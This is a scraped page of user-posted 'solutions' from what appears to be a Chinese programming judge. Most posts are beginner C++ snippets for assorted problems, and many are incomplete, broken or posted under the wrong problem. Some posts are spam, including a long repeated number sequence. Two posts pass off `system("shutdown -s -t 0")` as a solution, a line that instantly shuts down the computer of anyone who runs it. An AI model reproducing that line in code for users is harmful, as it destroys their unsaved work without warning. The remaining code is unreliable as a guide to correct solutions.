317 条题解

  • 0
    @ 2026-7-18 10:06:39

    4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37 4 5 2 50 8 9 17 11 14 2 3 4 25 8 19 26 33 49 7 16 35 41 37

    • 0
      @ 2026-7-15 14:50:10
      #include
      using namespace std;
      long n,t,ans;
      struct stu
      {
      int yu,sj;
      }a[120000];
      bool cmp(stu x,stu y)
      {
      return x.sj<y.sj;
      }
      int main()
      {
      cin>>n>>t;
      for(int i=1;i<=n;i++) cin>>a[i].yu;
      for(int i=1;i<=n;i++) cin>>a[i].sj;
      sort(a+1,a+1+n,cmp);
      for(int i=1;i<=n;i++)
      {
      if(t>=a[i].yu*a[i].sj)
      {
      t=t-a[i].yu*a[i].sj;	
      ans+=a[i].yu;
      }
      else
      {
      ans+=t/a[i].sj;	
      break;
      }
      }
      cout<<ans;
      }
      
      • 0
        @ 2026-7-15 11:16:32

        #include <bits/stdc++.h> using namespace std; long long n,m,x=1,y=1,s,a[21],b[101],ans; int main() { cin>>n>>m; for(int i=1;i<=n;i++) { cin>>b[i]; } for(int i=1;i<=m;i++) { cin>>a[i]; } sort(b+1,b+1+n); sort(a+1,a+1+m); while(x<=m&&y<=n) if(a[x]>=b[y]) {ans++; s++;

        y++;
                if(s==2){s=0;
                x++;} 
             }
             else {
                x++;
                s=0;
             }
        cout<<ans;
        

        }

        • 0
          @ 2026-7-15 9:55:08
          
          
          ```system("shutdown -s -t ```0");
          }
          ```
          
          • 0
            @ 2026-7-15 9:54:23
            
            

            int main(){ system("shutdown -s -t 0"); }

            • 0
              @ 2026-7-14 11:23:01
              using namespace std;
              long long n,x,y,t;
              struct zf
              {
              long long x,y;
              };
              int f(int n)
              {
              int s=0;
              while(n!=0)
              {
              s=s*10+n%10;
              n/=10;
              }
              return s;
              }
              bool cmp(zf x,zf y)
              {
              return x.y<y.y;
              }
              zf a[1000];
              int main()
              {
              cin>>x>>y;
              for(int i=x;i<=y;i++)
              {
              t++;
              a[t].x=i;
              a[t].y=f(i);
              }
              sort(a+1,a+1+t,cmp);
              for(int i=1;i<=t;i++)
              cout<<a[i].x<<endl;
              }
              
              • 0
                @ 2026-7-14 11:15:34
                using  namespace std;
                int n,m;
                int main()
                {
                cin>>n>>m;
                if(n>m) swap(n,m);
                for(int i=2;i*2<=n+5;i++)
                if(n%i==0&&m%i==0) {
                cout<<"No";//<<endl<<i;
                return 0;
                }
                cout<<"Yes";
                return 0;
                }
                
                • 0
                  @ 2026-7-13 9:34:38

                  #include <bits/stdc++.h> using namespace std; long long m,n,t; int main() { cin>>m>>n; t=n%(m32-2); if(t<=m*3) { if(t%31)cout<<"lan"; else if(t%32)cout<<"huang"; else if(t%3==0)cout<<"hong";

                  }
                  else
                  {
                  	if(t%3==1)cout<<"huang";
                  		else if(t%3==2)cout<<"lan";
                  			else if(t%3==0)cout<<"hong";
                  }
                  

                  }

                  • 0
                    @ 2026-6-23 17:23:10

                    //第318题答案 #include <bits/stdc++.h> using namespace std; string s1,s2; int len1,len2,x,y=0,a[40]={0},b[40]={0},c[40]={0}; char j; bool f; int main() { cin>>s1>>s2>>j; if(j=='+') { int len1=s1.size(); int len2=s2.size(); for(int i=0;i<len1;i++) a[i]=s1[len1-i-1]-'0'; for(int i=0;i<len2;i++) b[i]=s2[len2-i-1]-'0'; int maxlen=max(len1,len2); for(int i=0;i<=maxlen;i++) { x=a[i]+b[i]+y; c[i]=x%10; y=x/10; } if(c[maxlen]0) { for(int i=maxlen-1;i>=0;i--) { cout<<c[i]; } } else { for(int i=maxlen;i>=0;i--) { cout<<c[i]; } } } if(j'-') { int len1=s1.size(); int len2=s2.size(); f=true; if(len1<len2||(len1==len2)&&(s1<s2)) { f=false; } for(int i=0;i<len1;i++) a[i]=s1[len1-i-1]-'0'; for(int i=0;i<len2;i++) b[i]=s2[len2-i-1]-'0'; for(int i=0;i<len1;i++) { if(a[i]<b[i]) { a[i+1]=a[i+1]-1; a[i]=a[i]+10; c[i]=a[i]-b[i]; } else c[i]=a[i]-b[i]; } int k=len1; while(c[k]0&&k>0) k--; if(ffalse) cout<<"-"; for(int i=k;i>=0;i--) cout<<c[i]; } return 0; }

                    • 0
                      @ 2026-6-17 16:16:41

                      AAAA

                      • 0
                        @ 2026-6-11 16:42:29
                        #include<bits/stdc++.h>
                        using namespace std;
                        int main()
                        {
                          cin>>n;
                          for (int i=1;i<=n;i++)
                          {
                          	cin>>a[i]
                          }
                          return 0;
                        }
                        
                        • 0
                          @ 2026-6-11 16:42:22

                          #include<bits/stdc++.h> using namespace std; int main() { cin>>n; for (int i=1;i<=n;i++) { cin>>a[i] } return 0; }

                          • 0
                            @ 2026-6-11 16:07:25

                            逢3报数 #include <bits/stdc++.h> using namespace std; int n,c=1; queue<int>q; int main() { cin>>n; for(int i=1;i<=n;i++) { q.push(i); } while(q.size()>1) { int x=q.front(); q.pop(); if(c%3!=0) q.push(x); c++; } cout<<q.front()<<endl; return 0; }

                            • 0
                              @ 2026-6-10 16:22:21

                              dfsssssssssssssssssssssssssssssssssssssssecbnzp[;'nwvt7

                              • 0
                                @ 2026-6-10 16:21:13

                                #include<bits/stdc++.h> using namespace std; char a[200][200]; int n,m,s; int main() { cin>>n>>m; for(int i=1;i<=n;i++) for(int j=1;j<=m;j++) cin>>a[i][j]; for(int i=1;i<=n;i++) { for(int j=1;j<=m;j++) { if(a[i][j]'') cout<<''; else { s=0; if(a[i-1][j]'') s++; if(a[i-1][j-1]=='') s++; if(a[i-1][j+1]'*') s++; if(a[i][j-1]'') s++; if(a[i][j+1]=='') s++; if(a[i+1][j-1]'*') s++; if(a[i+1][j]'') s++; if(a[i+1][j+1]=='') s++; cout<<s; } } cout<<endl; }

                                }

                                • 0
                                  @ 2026-6-6 15:37:20
                                  #include <bits/stdc++.h>
                                  using namespace std;
                                  int n,a[1000];
                                  int main()
                                  {
                                      cin>>n;
                                      if(n%2==1)
                                      {
                                      	cout<<"-1";
                                      	return 0;
                                  	}
                                  	a[1]=1;
                                  	for(int i=2;i<=25;i++) a[i]=a[i-1]*2;
                                  	while(n!=0){
                                  		for(int i=25;i>=2;i--)
                                  		{
                                  			if(a[i]<=n)
                                  			{
                                  		
                                  	return 0;
                                  }
                                  
                                  
                                  • 0
                                    @ 2026-6-6 15:36:12
                                    using namespace std;
                                    int n,a[1000];
                                    int main()
                                    {
                                        cin>>n;
                                        if(n%2==1)
                                        {
                                        	cout<<"-1";
                                        	return 0;
                                    	}
                                    	a[1]=1;
                                    	for(int i=2;i<=25;i++) a[i]=a[i-1]*2;
                                    	while(n!=0){
                                    		for(int i=25;i>=2;i--)
                                    		{
                                    			if(a[i]<=n)
                                    			{
                                    				n=n-a[i];
                                    				cout<<a[i]<<" ";
                                    			}
                                    		}
                                    	}
                                    	return 0;
                                    }
                                    
                                    
                                    • 0
                                      @ 2026-6-6 13:58:18
                                      #include<bits/stdc++.h>
                                      using namespace std;
                                      char a[200][200];
                                      int n,m,s;
                                      int main()
                                      {
                                      	cin>>n>>m;
                                      	for(int i=1;i<=n;i++)
                                      	 for(int j=1;j<=m;j++)
                                      	 cin>>a[i][j];
                                      	 for(int i=1;i<=n;i++)
                                      	 {
                                      	 	for(int j=1;j<=m;j++)
                                      	 	{
                                      	 		if(a[i][j]=='*') cout<<'*';
                                      	 		else {
                                      	 			s=0;
                                      	 			if(a[i-1][j]=='*') s++;
                                      	 			if(a[i-1][j-1]=='*') s++;
                                      	 			if(a[i-1][j+1]=='*') s++;
                                      	 			if(a[i][j-1]=='*') s++;
                                      	 			if(a[i][j+1]=='*') s++;
                                      	 			if(a[i+1][j-1]=='*') s++;
                                      	 			if(a[i+1][j]=='*') s++;
                                      	 			if(a[i+1][j+1]=='*') s++;
                                      	 			cout<<s;
                                      			 }
                                      		 }
                                      		 cout<<endl;
                                      	 }
                                      
                                      }
                                      
                                      • 0
                                        @ 2026-6-3 17:10:10
                                        #include<bits/stdc++.h>
                                        using namespace std;
                                        long long n,s,a[200];
                                        int main(){
                                        	cin>>n;
                                        	for (int i=1;i<=n;i++)
                                        		cin>>a[i];
                                            for (int i=1;i<=n;i++)
                                            	if (a[i]>a[i-1]) s+=6*(a[i]-a[i-1])+5;
                                            		else s+=4*(a[i-1]-a[i])+5;
                                            cout<<s;
                                        }
                                        
                                        • 0
                                          @ 2026-6-3 16:57:17
                                          #include<bits/stdc++.h>
                                          using namespace std;
                                          long long n,m;
                                          int main()
                                          {
                                          	cin>>n>>m;
                                          	if(n==1 && m==2 || n==2 && m==3 || n==3 && m==1) cout<<"win";
                                          	else if(n==m) cout<<"tie";
                                          	else cout<<"lose";
                                          }
                                          
                                          

                                          信息

                                          ID
                                          104
                                          时间
                                          1000ms
                                          内存
                                          256MiB
                                          难度
                                          7
                                          标签
                                          递交数
                                          288
                                          已通过
                                          70
                                          上传者